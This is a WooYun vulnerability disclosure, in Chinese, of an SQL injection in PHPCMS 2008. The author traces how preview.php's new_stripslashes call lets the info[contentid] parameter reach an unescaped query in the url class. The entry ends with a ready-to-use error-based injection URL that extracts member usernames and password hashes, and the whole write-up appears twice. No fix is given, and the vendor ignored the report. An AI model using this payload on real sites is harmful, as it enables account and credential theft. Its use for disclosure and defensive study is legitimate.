当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-022112

漏洞标题：PHPCMS 2008 最新漏洞（第二季）

相关厂商：phpcms

漏洞作者： 西毒

提交时间：2013-04-18 22:40

修复时间：2013-04-23 22:40

公开时间：2013-04-23 22:40

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：1

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-18： 细节已通知厂商并且等待厂商处理中
2013-04-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

第二季来了哈...亲

详细说明：

在preview.php 中第7行
$r = new_stripslashes($info);
我们跟踪new_stripslashes这个函数
在global.func.php中可以找到

function new_stripslashes($string)
{
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}


这个函数的功能不用解释了吧
所以我们看具体应用点再哪？

require dirname(__FILE__).'/include/common.inc.php';
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
require_once CACHE_MODEL_PATH.'content_output.class.php';
require_once 'output.class.php';
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
$r = new_stripslashes($info);   //反转义了.....关键
$C = cache_read('category_'.$r['catid'].'.php');
$out = new content_output();
$r['userid'] = $_userid;
$r['inputtime'] = TIME;
$data = $out->get($r);
extract($data);
$userid = $_username;
for($i=1;$i<10;$i++)
{
    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
}
        
$array_images = $str_attachmentArray;
$images_number = 10;
$allow_priv = $allow_readpoint = 1;
$updatetime = date('Y-m-d H:i:s',TIME);
        
$page = max(intval($page), 1);
$pages = $titles = '';
if(strpos($content, '[page]') !== false)  //这里必须还有这个[page]这个字符.....才能操作哈
{
    require_once 'url.class.php';
    $curl = new url();
    $contents = array_filter(explode('[page]', $content));
    $pagenumber = count($contents);
    for($i=1; $i<=$pagenumber; $i++)
    {
        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
    }


其中细节我就不说了...
我们看看这个$curl资源句柄中的show方法

$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);


function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
    {
        global $PHPCMS;
        if($catid == 0 || $time == 0 || $prefix == '')
        {
            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
            if($r['isupgrade'] && !empty($r['url']))
            {


所以结合前面的......我们x站了吧
www.xxxxx.com/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a

WKN4OA]}U2]H{X8VG@G`KTM.jpg


最后想说一句 360漏洞收购计划价格真心低...... 通杀版的getshell 才1500...
这么低的价格....我觉得宁愿拒绝好了..

漏洞证明：

在preview.php 中第7行
$r = new_stripslashes($info);
我们跟踪new_stripslashes这个函数
在global.func.php中可以找到

function new_stripslashes($string)
{
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}


这个函数的功能不用解释了吧
所以我们看具体应用点再哪？

require dirname(__FILE__).'/include/common.inc.php';
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
require_once CACHE_MODEL_PATH.'content_output.class.php';
require_once 'output.class.php';
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
$r = new_stripslashes($info);   //反转义了.....关键
$C = cache_read('category_'.$r['catid'].'.php');
$out = new content_output();
$r['userid'] = $_userid;
$r['inputtime'] = TIME;
$data = $out->get($r);
extract($data);
$userid = $_username;
for($i=1;$i<10;$i++)
{
    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
}
        
$array_images = $str_attachmentArray;
$images_number = 10;
$allow_priv = $allow_readpoint = 1;
$updatetime = date('Y-m-d H:i:s',TIME);
        
$page = max(intval($page), 1);
$pages = $titles = '';
if(strpos($content, '[page]') !== false)  //这里必须还有这个[page]这个字符.....才能操作哈
{
    require_once 'url.class.php';
    $curl = new url();
    $contents = array_filter(explode('[page]', $content));
    $pagenumber = count($contents);
    for($i=1; $i<=$pagenumber; $i++)
    {
        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
    }


其中细节我就不说了...
我们看看这个$curl资源句柄中的show方法

$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);


function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
    {
        global $PHPCMS;
        if($catid == 0 || $time == 0 || $prefix == '')
        {
            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
            if($r['isupgrade'] && !empty($r['url']))
            {


所以结合前面的......我们x站了吧
www.xxxxx.com/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a

WKN4OA]}U2]H{X8VG@G`KTM.jpg


最后想说一句 360漏洞收购计划价格真心低...... 通杀版的getshell 才1500...
这么低的价格....我觉得宁愿拒绝好了..

修复方案：

版权声明：转载请注明来源 西毒@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-04-23 22:40

厂商回复：

最新状态：

暂无